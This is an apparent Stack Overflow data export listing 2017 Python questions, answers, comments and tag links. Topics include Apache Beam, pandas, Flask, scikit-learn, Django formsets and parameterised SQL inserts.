has comment: http://stackoverflow.com/comment/81014873
downvote count: 0
has body: Try this: def drinksSelect(self, value): # creating a button by referring the id of the layout in which to create button drinkImagePath = {'pepsi': 'drinksPictures/pepsi.png', '7up': 'drinksPictures/7up.png'} if self.root.a_s.l &lt; self.root.a_s.limit: # You know what I mean st = 'number' img = myImage(source=drinkImagePath[value], size=(200, 20), id=st) img2 = myImage(source=drinkImagePath[value], size=(200, 20), id='soo') img.twin = img2 img2.twin = img button.a_s = self.root.a_s button2.a_s = self.root.a_s self.root.a_s.ids.place_remaining.add_widget(img) self.root.m_s.ids.place.add_widget(img2) self.root.a_s.l += 1 class myImage(Image): twin = ObjectProperty() a_s = ObjectProperty() def on_touch_down(self, touch): if self.collide_point(*touch.pos): self.parent.remove_widget(self) self.twin.parent.remove_widget(self.twin) self.a_s.l -= 1

pipeline
type: Tag
tags question: http://stackoverflow.com/q/46964786
tag name: pipeline
tags question: http://stackoverflow.com/q/46973411
tags question: http://stackoverflow.com/q/47062970

http://stackoverflow.com/a/64757372
type: Answer
has body: AttributeError: module 'os' has no attribute 'PathLike' Installing it into the global site-packages with the below command solved my problem: pip install --user virtualenvwrapper
score: 0
answers question: http://stackoverflow.com/q/46920188

http://stackoverflow.com/a/46987231
answers question: http://stackoverflow.com/q/46987169
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
has body: Since you are using customised path, why dont you tell the django where to find it.. use this in settings and it shall work fine. option 1: in case you are serious about preserving your file structure #settings.py STATICFILES_DIRS = ( ... os.path.join(BASE_DIR, 'app/src/static') # build appropriate path ) UPDATE: option 2: move the static folder to where manage.py exists or into the child of app. example: ...manage.py ...static ...app/ or ...manage.py ...app/static
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46987169
has comment: http://stackoverflow.com/comment/80921513

http://stackoverflow.com/comment/80953931
comment on: http://stackoverflow.com/a/46996395
has text: en.wikipedia.org/wiki/Leibniz_formula_for_%CF%80
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/46914116
has comment: http://stackoverflow.com/comment/80803676
has comment: http://stackoverflow.com/comment/80788164
type: Question
has comment: http://stackoverflow.com/comment/80788361
has answer: http://stackoverflow.com/a/46936458
tagged with: avro
answer count: 2
has body: Problem: I am trying to create a cloud dataflow pipeline that reads Avro files from Google Cloud Storage using Python SDK, does some processing and writes back an Avro file on Google Cloud Storage. After looking into some examples provided on Apache Beam website I tried running the following code. I used ReadFromAvro and WriteToAvro functions. The thing I am trying to achieve is just read an Avro file and write the same Avro file using Dataflow but It gives me the following warning and does not output an avro file. Warning/Error: /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/apache_beam/io/gcp/gcsio.py:121: DeprecationWarning: object() takes no parameters super(GcsIO, cls).__new__(cls, storage_client)) INFO:root:Starting the size estimation of the input INFO:oauth2client.transport:Attempting refresh to obtain initial access_token INFO:oauth2client.client:Refreshing access_token INFO:root:Finished the size estimation of the input at 1 files. Estimation took 0.31790304184 seconds Traceback (most recent call last): File "/Users/USER/PycharmProjects/GCP-gcs_to_bq/gcs-bq.py", line 52, in &lt;module&gt; run() File "/Users/USER/PycharmProjects/GCP-gcs_to_bq/gcs-bq.py", line 47, in run records | WriteToAvro(known_args.output) TypeError: __init__() takes at least 3 arguments (2 given) Code: from __future__ import absolute_import import argparse import logging import apache_beam as beam from apache_beam.io import ReadFromAvro from apache_beam.io import WriteToAvro from apache_beam.options.pipeline_options import PipelineOptions from apache_beam.options.pipeline_options import SetupOptions def run(argv=None): parser = argparse.ArgumentParser() parser.add_argument('--input', dest='input', default='gs://BUCKET/000000_0.avro', help='Input file to process.') parser.add_argument('--output', dest='output', default='gs://BUCKET/', #required=True, help='Output file to write results to.') known_args, pipeline_args = parser.parse_known_args(argv) pipeline…
has answer: http://stackoverflow.com/a/46923426
downvote count: 0
tagged with: apache-beam
tagged with: python
favorite count: 0
accepted answer: http://stackoverflow.com/a/46936458
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/80788570
tagged with: google-cloud-platform
possible better answer: http://stackoverflow.com/a/46923426
has title: Read and write avro files by inferring schema using Python SDK in Google Cloud Dataflow - Apache Beam
tagged with: google-cloud-dataflow

http://stackoverflow.com/comment/80992527
score: 0
type: Comment
type: QuestionComment
has text: @Zindarod done!
comment on: http://stackoverflow.com/q/47021304

http://stackoverflow.com/q/46953967
score: 39
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46954067
tagged with: classification
has answer: http://stackoverflow.com/a/62506566
downvote count: 0
tagged with: scikit-learn
tagged with: python
has answer: http://stackoverflow.com/a/69926923
possible better answer: http://stackoverflow.com/a/46954079
answer count: 4
has title: Multilabel-indicator is not supported for confusion matrix
has answer: http://stackoverflow.com/a/46954079
type: AnsweredQuestion
upvote count: 39
has comment: http://stackoverflow.com/comment/92014775
has body: multilabel-indicator is not supported is the error message I get, when trying to run: confusion_matrix(y_test, predictions) y_test is a DataFrame which is of shape: Horse | Dog | Cat 1 0 0 0 1 0 0 1 0 ... ... ... predictions is a numpy array: [[1, 0, 0], [0, 1, 0], [0, 1, 0]] I've searched a bit for the error message, but haven't really found something I could apply. Any hints?
accepted answer: http://stackoverflow.com/a/46954067
favorite count: 0

http://stackoverflow.com/q/46957972
type: AnsweredQuestion
score: 0
tagged with: pandas
tagged with: mime
tagged with: email
answer count: 1
has body: Have seen some similar threads on here, but can't figure out how to make this work. I want to encapsulate a Pandas dataframe into an email and send it out.. I want the table to show in the email as a table, not as an attachment Something like this in the body of the email: I tried the sample code below, but I keep getting an error: --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-33-e766c6012525&gt; in &lt;module&gt;() 31 32 ---&gt; 33 msg = MIMEText(content, text_subtype) 34 msg['Subject']= subject 35 msg['From'] = sender # some SMTP servers will do this automatically, not all C:\Program Files\Anaconda3\lib\email\mime\text.py in __init__(self, _text, _subtype, _charset) 32 if _charset is None: 33 try: ---&gt; 34 _text.encode('us-ascii') 35 _charset = 'us-ascii' 36 except UnicodeEncodeError: AttributeError: 'function' object has no attribute 'encode' Here is the code import pandas as pd Import_MICS="https://www.iso20022.org/sites/default/files/ISO10383_MIC/ISO10383_MIC.csv" MICS=pd.read_csv(Import_MICS,sep=",") SMTPserver = 'email-smtp.us-east-2.amazonaws.com' sender = 'x.com' destination = ['x.com'] USERNAME = "efsdff" PASSWORD = "sfdfsf" # typical values for text_subtype are plain, html, xml text_subtype = 'html' content="""\ Test message number 2 """ content=MICS.to_html subject="Sent from Python" import sys import os import re from smtplib import SMTP_SSL as SMTP # this invokes the secure SMTP protocol (port 465, uses SSL) from email.mime.text import MIMEText msg = MIMEText(content, text_subtype) msg['Subject']= subject msg['From'] = sender # some SMTP servers will do this automatically, not all conn = SMTP(SMTPserver) conn.set_debuglevel(False) conn.starttls conn.login(USERNAME, PASSWORD) conn.sendmail(sender, destination, msg.as_string()) Any ideas on how to fix would be much appreciated Thanks!
type: Question
accepted answer: http://stackoverflow.com/a/46958630
has title: Send Pandas DataFrame Using Python
has answer: http://stackoverflow.com/a/46958630
tagged with: dataframe
tagged with: python

http://stackoverflow.com/q/46965665
tagged with: python
tagged with: dictionary
tagged with: lambda
type: AnsweredQuestion
tagged with: python-2.7
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/46965724
has title: find max using key and lambda in python
possible better answer: http://stackoverflow.com/a/46965724
accepted answer: http://stackoverflow.com/a/46965718
type: Question
has answer: http://stackoverflow.com/a/46965718
has body: I have created a dict in python and would like to find the max value. I experimented with max with key= anonymous function. I certainly implemented wrong, but somehow the code ran and I ended up with output of a key, which does not make sense to me at all. Could you someone please explain to me why it works and how? Thank you. Q['state1']={'zone':20,'left':50,'right':89,'forward':34} qmax=max(Q['state1'],key=lambda x: x[1]) %this returns 'forward' qmax=max(Q['state1'],key=lambda x: x[0]) %this returns 'zone'

http://stackoverflow.com/q/47005647
has answer: http://stackoverflow.com/a/47005753
type: Question
tagged with: python
tagged with: flask
type: AnsweredQuestion
answer count: 3
score: 7
possible better answer: http://stackoverflow.com/a/47005840
tagged with: multithreading
downvote count: 0
has answer: http://stackoverflow.com/a/58789160
upvote count: 7
accepted answer: http://stackoverflow.com/a/47005753
has title: Can I have Python code to continue executing after I call Flask app.run?
has answer: http://stackoverflow.com/a/47005840
tagged with: asynchronous
has body: I have just started with Python, although I have been programming in other languages over the past 30 years. I wanted to keep my first application simple, so I started out with a little home automation project hosted on a Raspberry Pi. I got my code to work fine (controlling a valve, reading a flow sensor and showing some data on a display), but when I wanted to add some web interactivity it came to a sudden halt. Most articles I have found on the subject suggest to use the Flask framework to compose dynamic web pages. I have tried, and understood, the basics of Flask, but I just can't get around the issue that Flask is blocking once I call the "app.run" function. The rest of my python code waits for Flask to return, which never happens. I.e. no more water flow measurement, valve motor steering or display updating. So, my basic question would be: What tool should I use in order to serve a simple dynamic web page (with very low load, like 1 request / week), in parallel to my applications main tasks (GPIO/Pulse counting)? All this in the resource constrained environment of a Raspberry Pi (3). If you still suggest Flask (because it seems very close to target), how should I arrange my code to keep handling the real-world events, such as mentioned above? (This last part might be tough answering without seeing the actual code, but maybe it's possible answering it in a "generic" way? Or pointing to existing examples that I might have missed while searching.)
favorite count: 0

http://stackoverflow.com/q/46932644
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/50770435
has answer: http://stackoverflow.com/a/52108491
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/83728468
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/54437754
tagged with: virtualenv
tagged with: scrapy
score: 4
has title: Python Popen doesn't recognize scrapy when python script is run as systemd service
favorite count: 0
tagged with: systemd
tagged with: popen
answer count: 3
linked to: http://stackoverflow.com/q/1685157
has comment: http://stackoverflow.com/comment/95438097
has body: I have a python script main.py that needs to start the scrapy executable, so I use Popen to do that (using subprocess.call() has same result). To simplify things I just run the help argument of scrapy. import subprocess ... p = subprocess.Popen(['scrapy', '-h']) The script needs to be run inside a vitualenv which has scrapy installed on it. When I activate the virtualenv and run the script as python main.py the command scrapy -h is executed as expected. Now, I need this script to be run as a systemd service. I have created the systemd unit for the script as follows: [Unit] Description=Scrapy test After=network.target [Service] User={{ scrapy_user }} WorkingDirectory={{ test_path }} ExecStart={{ virtualenv_path }}/bin/python {{ test_path }}/main.py [Install] WantedBy=multi-user.target When I enable and start the service with sudo systemctl start scrapy-test the code runs normally until p = subprocess.Popen(['scrapy', '-h']) when I get an exception raised File "{{ test_path }}/main.py", line 52, in launch_spider p = subprocess.Popen(['scrapy', '-h']) File "/usr/lib/python2.7/subprocess.py", line 710, in __init__ errread, errwrite) File "/usr/lib/python2.7/subprocess.py", line 1335, in _execute_child raise child_exception OSError: [Errno 2] No such file or directory I have also tried to change the working directory by adding os.chdir('{{ virtualenv_path }}/bin') just before Popen, but I get the exact same exception. I am sure the script is run through the virtualenv because (1) it is set so in the ExecStart attribute and (2) the script would raise exceptions earlier when importing modules that are not installed in the system's python.

http://stackoverflow.com/comment/80904272
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46978256
has text: Ok the question was because I see that you are fiting the model to certain values. Are this values passed from the json? if not, I will edit my answer
score: 0

http://stackoverflow.com/q/46947115
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python-requests
has body: I'm really new to python programming. I'm working on automation of a web-browser. I started with selenium, but found it to be really slow for what I need. I'm working on a code that can Login to a webpage and fill out few text-boxes and click on few buttons. I finally achieved the 1st part. My program can finally sign in using the robobrowser. import re from robobrowser import RoboBrowser browser = RoboBrowser() login_url = 'https://webbroker.td.com/waw/idp/login.htm?execution=e1s1' browser.open(login_url) form = browser.get_form(id="login") form["login:AccessCard"].value = "****" form["login:Webpassword"].value = "****" browser.submit_form(form) As soon as I log, this webpage is asking me to answer an authentication question. What is your favourite TV show? How do I carry on form here? I need to enter and submit my authentication answer in order to proceed. In selenium it would be something like this. AQ = driver.find_element_by_id("MFAChallengeForm:answer") AQ.send_keys("******") *Click Submit* However, how would I do it in robobrowser/lxml/beautifulsoup? I need to submit my answer(while sill being logged in). Thank you in advance.
favorite count: 0
type: Question
tagged with: lxml
tagged with: lxml.html
tagged with: python
tagged with: robobrowser
score: 2
has title: Python, robobrowser, answer authentication-challenge after login
answer count: 0

http://stackoverflow.com/a/46992563
upvote count: 1
answers question: http://stackoverflow.com/q/46990392
accepted answer of: http://stackoverflow.com/q/46990392
has body: Because the post is going to modify another copy of the user object. Try getting the User instance again after you logout. Also, make sure you asset the response of your post so you can confirm the post was successful.
score: 1
downvote count: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/46978126
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80903912
tagged with: data-science
answer count: 2
has title: Prevent overfitting in Logistic Regression using Sci-Kit Learn
has answer: http://stackoverflow.com/a/46980791
downvote count: 2
tagged with: machine-learning
upvote count: 1
tagged with: scikit-learn
favorite count: 0
tagged with: logistic-regression
type: Question
has body: I trained a model using Logistic Regression to predict whether a name field and description field belong to a profile of a male, female, or brand. My train accuracy is around 99% while my test accuracy is around 83%. I have tried implementing regularization by tuning the C parameter but the improvements were barely noticed. I have around 5,000 examples in my training set. Is this an instance where I just need more data or is there something else I can do in Sci-Kit Learn to get my test accuracy higher?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46978271

http://stackoverflow.com/comment/81020996
type: Comment
type: QuestionComment
score: 0
has text: Huh? Those two are the same.
comment on: http://stackoverflow.com/q/47037150

http://stackoverflow.com/q/47060408
has comment: http://stackoverflow.com/comment/81068588
score: 2
has answer: http://stackoverflow.com/a/47060670
has comment: http://stackoverflow.com/comment/81069348
type: AnsweredQuestion
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81068433
answer count: 2
has answer: http://stackoverflow.com/a/47061063
upvote count: 2
has body: I have an HTML page that looks like this: TEST Testing I need to format the <iframe src="{} part with a website link, for example: <iframe src="https://google.com". My question is, how can I format a tag in an HTML string using python built-in libraries (or external)? Here is my attempt: retval = "" for item in HTML_page.readlines(): if "<iframe src" in item: item = item.format(LINK) retval += item else: retval += item return retval This works, but it isn't very pretty. Is there a way I can do this more python like?
has comment: http://stackoverflow.com/comment/81068334
downvote count: 0
has comment: http://stackoverflow.com/comment/81068623
has comment: http://stackoverflow.com/comment/81068414
linked to: http://stackoverflow.com/q/3945750
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47061063
has title: Formatting an HTML tag
tagged with: format
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has comment: http://stackoverflow.com/comment/81070439
possible better answer: http://stackoverflow.com/a/47060670

http://stackoverflow.com/q/46930575
answer count: 2
accepted answer: http://stackoverflow.com/a/46930608
has title: Append Multiple Excel Files(xlsx) together in python
has answer: http://stackoverflow.com/a/46930608
downvote count: 1
tagged with: data-science
tagged with: excel
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46930654
type: AnsweredQuestion
has body: import pandas as pd import os import glob all_data = pd.DataFrame() for f in glob.glob("output/test*.xlsx") df = pd.read_excel(f) all_data = all_data.append(df, ignore_index=True) I want to put multiple xlsx files into one xlsx. the excel files are in the output/test folder. The columns are the same, in all but I want concat the rows. the above code doesn't seem to work
has answer: http://stackoverflow.com/a/46930654
upvote count: 9
tagged with: pandas
tagged with: python
tagged with: merge
score: 8

ocr
tags question: http://stackoverflow.com/q/46971808
tags question: http://stackoverflow.com/q/46920708
tag name: ocr
tags question: http://stackoverflow.com/q/47057572
type: Tag
tags question: http://stackoverflow.com/q/46974778

http://stackoverflow.com/comment/80809274
type: QuestionComment
has text: I noticed you've unaccepted. Anything I can help with? If you have further clarification on my answer, please ask. From what I see it seems to have solved your problem.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46929396

http://stackoverflow.com/a/47196706
type: Answer
has comment: http://stackoverflow.com/comment/81354062
answers question: http://stackoverflow.com/q/47042565
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47042565
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/83021374
has comment: http://stackoverflow.com/comment/81434156
has comment: http://stackoverflow.com/comment/81427291
has body: I'm not a developer and I reckon I'm not entirely qualified to explain exactly how this should be solved, but I've recently had the same issue and just spent most part of 2 days scouring the internet for a solution. I have python3.6 and python2.7 installed so for me there is a slight juggling of order of environment variables needed. Easiest seems to be to keep the python2.7 env vars on top for installing pip install virtualenv and then the way I solved the SSL 403 Error was to witch the environment variables around again, putting python3 on above python2, so that pip installs with python3 and then download the actual virtualenvwrapper-powershell package [virtualenvwrapper-powershell-12.7.8.zip] from here: https://pypi.python.org/pypi/virtualenvwrapper-powershell Once you got that there are a few links I got information from: https://bitbucket.org/guillermooo/virtualenvwrapper-powershell/issues/5/cant-install-package-with-python3-and-pip and https://bitbucket.org/guillermooo/virtualenvwrapper-powershell/issues/21/build-error-with-old-distribute So using these two links, we're now installing envwrapper with python3 and getting another error: TOKEN_READ. That's (was for me) solved by editing the distribute_python.py file in the zip you downloaded above by changing Line 50 assignment, by putting an 's' after the 'DEFAULT_URL = http'. Keep the rest of the URL in the quotes there, just make it an SSL address. Next open the setup.py file in the same ZIP, and edit Line 76 by removing teh 'L' following the number following the TOKEN_READ variable. This should take care of both the TOKEN_READ error which seems to have something to do with python3 and virtualenvwrapper, as well as the SSL error that we both seem to have experienced, which seem to have something to do with the version of the distribute file. Once this is done you should be able to pip install virtualenvwrapper-powershell Restart powershell, and Import-Module virtualenvwrapper if you now get two other errors, t…

http://stackoverflow.com/a/47001279
downvote count: 0
type: AcceptedAnswer
score: 6
upvote count: 6
has body: Your syntax is wrong : L = [1,2,-4,5,-6,7,8,9] T = [L[i] for i in range(len(L)) if L[i]&gt;0] Output: [1, 2, 5, 7, 8, 9] Also you can just iterate through the elements of the list per se, no need to use a range. Like this : T = [i for i in L if i&gt;0] Remember : When only if is there the syntax is [expression for var in list if ...] When both if and else is there the syntax is [expression1 if ... else expression2 for var in list]
answers question: http://stackoverflow.com/q/47001253
has comment: http://stackoverflow.com/comment/80950643
accepted answer of: http://stackoverflow.com/q/47001253
type: Answer
has comment: http://stackoverflow.com/comment/80950923

http://stackoverflow.com/a/46999668
upvote count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/80947222
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/80946127
answers question: http://stackoverflow.com/q/46999584
has body: Normally you use a seed for genetic algorithms, which should be fixed. It will always generate the same "random" childs sequentially, which makes your approach reproducible. So the genetic algorithm is kind of pseudo-random. That is state of art how to perform genetic algorithms.

http://stackoverflow.com/comment/80850327
score: 0
type: Comment
has text: (3,1) or (1,3) should also be in the same group, shouldn't?
type: QuestionComment
comment on: http://stackoverflow.com/q/46951578

http://stackoverflow.com/a/47015745
has comment: http://stackoverflow.com/comment/80981025
answers question: http://stackoverflow.com/q/47015578
has comment: http://stackoverflow.com/comment/114855768
has comment: http://stackoverflow.com/comment/117000251
accepted answer of: http://stackoverflow.com/q/47015578
upvote count: 20
type: Answer
has comment: http://stackoverflow.com/comment/80981501
score: 20
has comment: http://stackoverflow.com/comment/129840341
has comment: http://stackoverflow.com/comment/139394367
has body: We can unpack each row of coords as row, col indices for indexing into img and then assign. Now, since the question is tagged: Python 3.x, we can simply unpack with [*coords.T] and then assign - img*coords.T = 255 Generically, we can use tuple to unpack - img[tuple(coords.T)] = 255 We can also compute the linear indices and then assign with np.put - np.put(img, np.ravel_multi_index(coords.T, img.shape), 255)
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80985056
comment on: http://stackoverflow.com/a/47016592
score: 1
type: Comment
has text: Thank you for the visualisation :)
type: AnswerComment

http://stackoverflow.com/comment/80920202
score: 0
has text: Also, is there really a need to write a file, only to read it back and print it?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46986560

http://stackoverflow.com/comment/81217836
score: 1
has text: your provided expression for bottom pagination also worked. I tested it after upgrading my `chromedriver`.
type: Comment
comment on: http://stackoverflow.com/a/47052512
type: AnswerComment

http://stackoverflow.com/q/46910339
type: Question
has comment: http://stackoverflow.com/comment/80772158
tagged with: sql-server
has comment: http://stackoverflow.com/comment/80769334
linked to: http://stackoverflow.com/q/902408
has body: I try to fill a table on an MS SQL server from the google analytics api. I tried using a method with string replacement as such: INSERT INTO Reporting.analytics_temp (var1,var2,var3) VALUES ('%s','%s','%s')" %(var1,var2,var3)) This works fine as long as there are no special characters or quotation marks in the variables, but the code breaks when there is one (error message: "Unclosed quotation mark after the character string"). Upon doing some research I realise that the method I use is not so good and in fact dangerous due to sql injection risks so I am quite eager to get a better functioning method. I find various methods, but none of them seems to work in MSSQL for instance this one that looks like: cursor.execute("INSERT INTO table VALUES (%s, %s, %s)", (var1, var2, var3)) But this gives the error message "The SQL contains 0 parameter markers, but 3 parameters were supplied" Is the problem here that I don't understand string replacement well enough or is the code slightly different for MS SQL?
tagged with: python
linked to: http://stackoverflow.com/q/21911112
has comment: http://stackoverflow.com/comment/80978647
answer count: 0
type: UnansweredQuestion
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80771701
has title: Insert string with quotation mark into mssql with python
favorite count: 0

http://stackoverflow.com/q/46996315
has comment: http://stackoverflow.com/comment/137542684
answer count: 4
has answer: http://stackoverflow.com/a/46996385
possible better answer: http://stackoverflow.com/a/46996385
favorite count: 0
has comment: http://stackoverflow.com/comment/80956755
linked to: http://stackoverflow.com/q/9059173
type: Question
accepted answer: http://stackoverflow.com/a/46996392
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80950726
downvote count: 2
has comment: http://stackoverflow.com/comment/80939139
has comment: http://stackoverflow.com/comment/80950626
has comment: http://stackoverflow.com/comment/80944013
tagged with: python
linked to: http://stackoverflow.com/q/818828
has comment: http://stackoverflow.com/comment/137542722
has answer: http://stackoverflow.com/a/46996392
type: AnsweredQuestion
score: 71
tagged with: performance
has comment: http://stackoverflow.com/comment/80947727
has comment: http://stackoverflow.com/comment/80950822
tagged with: time-complexity
has comment: http://stackoverflow.com/comment/83156511
has title: A better way for a Python 'for' loop
upvote count: 73
has comment: http://stackoverflow.com/comment/80942040
has comment: http://stackoverflow.com/comment/80939156
has answer: http://stackoverflow.com/a/54775049
has comment: http://stackoverflow.com/comment/96825923
has comment: http://stackoverflow.com/comment/80956267
has body: We all know that the common way of executing a statement a certain number of times in Python is to use a for loop. The general way of doing this is, # I am assuming iterated list is redundant. # Just the number of execution matters. for _ in range(count): pass I believe nobody will argue that the code above is the common implementation, however there is another option. Using the speed of Python list creation by multiplying references. # Uncommon way. for _ in [0] * count: pass There is also the old while way. i = 0 while i &lt; count: i += 1 I tested the execution times of these approaches. Here is the code. import timeit repeat = 10 total = 10 setup = """ count = 100000 """ test1 = """ for _ in range(count): pass """ test2 = """ for _ in [0] * count: pass """ test3 = """ i = 0 while i &lt; count: i += 1 """ print(min(timeit.Timer(test1, setup=setup).repeat(repeat, total))) print(min(timeit.Timer(test2, setup=setup).repeat(repeat, total))) print(min(timeit.Timer(test3, setup=setup).repeat(repeat, total))) # Results 0.02238852552017738 0.011760978361696095 0.06971727824807639 I would not initiate the subject if there was a small difference, however it can be seen that the difference of speed is 100%. Why does not Python encourage such usage if the second method is much more efficient? Is there a better way? The test is done with Windows 10 and Python 3.6. Following @Tim Peters' suggestion, . . . test4 = """ for _ in itertools.repeat(None, count): pass """ print(min(timeit.Timer(test1, setup=setup).repeat(repeat, total))) print(min(timeit.Timer(test2, setup=setup).repeat(repeat, total))) print(min(timeit.Timer(test3, setup=setup).repeat(repeat, total))) print(min(timeit.Timer(test4, setup=setup).repeat(repeat, total))) # Gives 0.02306803115612352 0.013021619340942758 0.06400113461638746 0.008105080015739174 Which offers a much better way, and this pretty much answers my question. Why is this faster than range, since both are generators. Is it because the value never c…
has answer: http://stackoverflow.com/a/46996328

http://stackoverflow.com/q/46962233
type: Question
upvote count: 0
answer count: 2
has comment: http://stackoverflow.com/comment/80872021
downvote count: 1
has comment: http://stackoverflow.com/comment/80872109
tagged with: shared-memory
favorite count: 0
tagged with: multiprocessing
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46962337
possible better answer: http://stackoverflow.com/a/46962337
has answer: http://stackoverflow.com/a/46962433
accepted answer: http://stackoverflow.com/a/46962433
has title: Shared variable in python multiprocessing
has body: Basically, 'refresh' is a caching function, while 'printer' is intended to serve the result to output. This example, obviously, fails at some point, unfortunately, python docs are no help with that. Besides explanations, a working code would be highly appreciated. from multiprocessing import Manager, Process from random import randrange import time manager = Manager() x = manager.list() def refresh(): global x while True: y = [] for i in range(5): y.append(randrange(100)) x = y time.sleep(0.2) def printer(): while True: global x print(x) # Mind the different interval compared to 'refresh' time.sleep(0.3) if __name__=='__main__': p = Process(target=refresh) p.start() p1 = Process(target=printer) p1.start()
tagged with: python
score: -1

http://stackoverflow.com/q/47016779
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81004400
has title: creating df to generate json in the given format
has comment: http://stackoverflow.com/comment/81004482
has body: I am trying to generate a df to produce this below json. Json data: { "name": "flare", "children": [ { "name": "K1", "children": [ {"name": "Exact", "size": 4}, {"name": "synonyms", "size": 14} ] }, { "name": "K2", "children": [ {"name": "Exact", "size": 10}, {"name": "synonyms", "size": 20} ] }, { "name": "K3", "children": [ {"name": "Exact", "size": 0}, {"name": "synonyms", "size": 5} ] }, { "name": "K4", "children": [ {"name": "Exact", "size": 13}, {"name": "synonyms", "size": 15} ] }, { "name": "K5", "children": [ {"name": "Exact", "size": 0}, {"name": "synonyms", "size": 0} ] } ] } input data: name Exact synonyms K1 4 14 K2 10 20 K3 0 5 K4 13 15 K5 0 0 I tried creating df with values in the json but I was not able to get the desired json on df.to_json, please help.
has answer: http://stackoverflow.com/a/47028948
has comment: http://stackoverflow.com/comment/81004418
score: 2
has comment: http://stackoverflow.com/comment/80979801
has comment: http://stackoverflow.com/comment/80980008
upvote count: 2
tagged with: pandas
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81003951
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81004436
tagged with: data-analysis
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/81003932
has comment: http://stackoverflow.com/comment/81004363

http://stackoverflow.com/q/47041725
has body: I'm using formset in Django 1.11, and in template rendering all works done. Now I want test formset in python shell. So I make a simple form and then a formset (2) with initials data: &gt;&gt;&gt; from django import forms &gt;&gt;&gt; class my_formset(forms.Form): ... my_field_1=forms.IntegerField() ... my_field_2=forms.IntegerField() ... &gt;&gt;&gt; values=[{'my_field_1':10,'my_field_2':15}, {'my_field_1':84,'my_field_2':6}] &gt;&gt;&gt; values [{'my_field_2': 15, 'my_field_1': 10}, {'my_field_2': 6, 'my_field_1': 84}] Building formset: &gt;&gt;&gt; from django.forms import formset_factory &gt;&gt;&gt; formset=formset_factory(my_formset,extra=0) &gt;&gt;&gt; my_data_fs=formset(initial=values) Result formset: &gt;&gt;&gt; my_data_fs &lt;django.forms.formsets.my_formsetFormSet object at 0x7fdb688dda90&gt; &gt;&gt;&gt; my_data_fs.forms [&lt;my_formset bound=False, valid=Unknown, fields=(my_field_1;my_field_2)&gt;, &lt;my_formset bound=False, valid=Unknown, fields=(my_field_1;my_field_2)&gt;] Now I want get initials data: &gt;&gt;&gt; my_data_fs.forms[0] &lt;my_formset bound=False, valid=Unknown, fields=(my_field_1;my_field_2)&gt; &gt;&gt;&gt; my_data_fs.forms[0].fields OrderedDict([('my_field_1', &lt;django.forms.fields.IntegerField object at 0x7fdb688dd7b8&gt;), ('my_field_2', &lt;django.forms.fields.IntegerField object at 0x7fdb688dd710&gt;)]) but if I see single field, I get this: &gt;&gt;&gt; my_data_fs.forms[0].fields['my_field_1'] &lt;django.forms.fields.IntegerField object at 0x7fdb688dd7b8&gt; &gt;&gt;&gt; my_data_fs.forms[0].fields['my_field_1'].value Traceback (most recent call last): File "&lt;console&gt;", line 1, in &lt;module&gt; AttributeError: 'IntegerField' object has no attribute 'value' And if I use initials I get empty response &gt;&gt;&gt; my_data_fs.forms[0].fields['my_field_1'].initial &gt;&gt;&gt; What I have to do for get my initials data?
answer count: 1
has title: Django, get initials data from field in formset with shell
has answer: http://stackoverflow.com/a/47042614
tagged with: shell
tagged with: django-forms
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81031983
accepted answer: http://stackoverflow.com/a/47042614
tagged with: django
tagged with: python
score: 2
upvote count: 2
type: AnsweredQuestion
tagged with: formset
downvote count: 0

http://stackoverflow.com/q/46983185
has answer: http://stackoverflow.com/a/46983237
has answer: http://stackoverflow.com/a/46983304
type: AnsweredQuestion
score: 0
tagged with: pandas
tagged with: group-by
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/46983237
type: Question
possible better answer: http://stackoverflow.com/a/46983304
has body: I have a data frame in python which contains the following fields: id date cost A 2017-01-17 19 A 2017-01-17 22 A 2017-03-29 19 A 2017-03-29 10 B 2017-03-16 25 is it possible to group data frame on two columns id and date, then based on the grouping get max and min cost. id date max(cost) min(cost) A 2017-01-17 22 19 A 2017-03-29 19 10 B 2017-03-16 25 25
answer count: 2
has title: Grouping items in Dataframe using python

http://stackoverflow.com/a/47003881
has comment: http://stackoverflow.com/comment/80977759
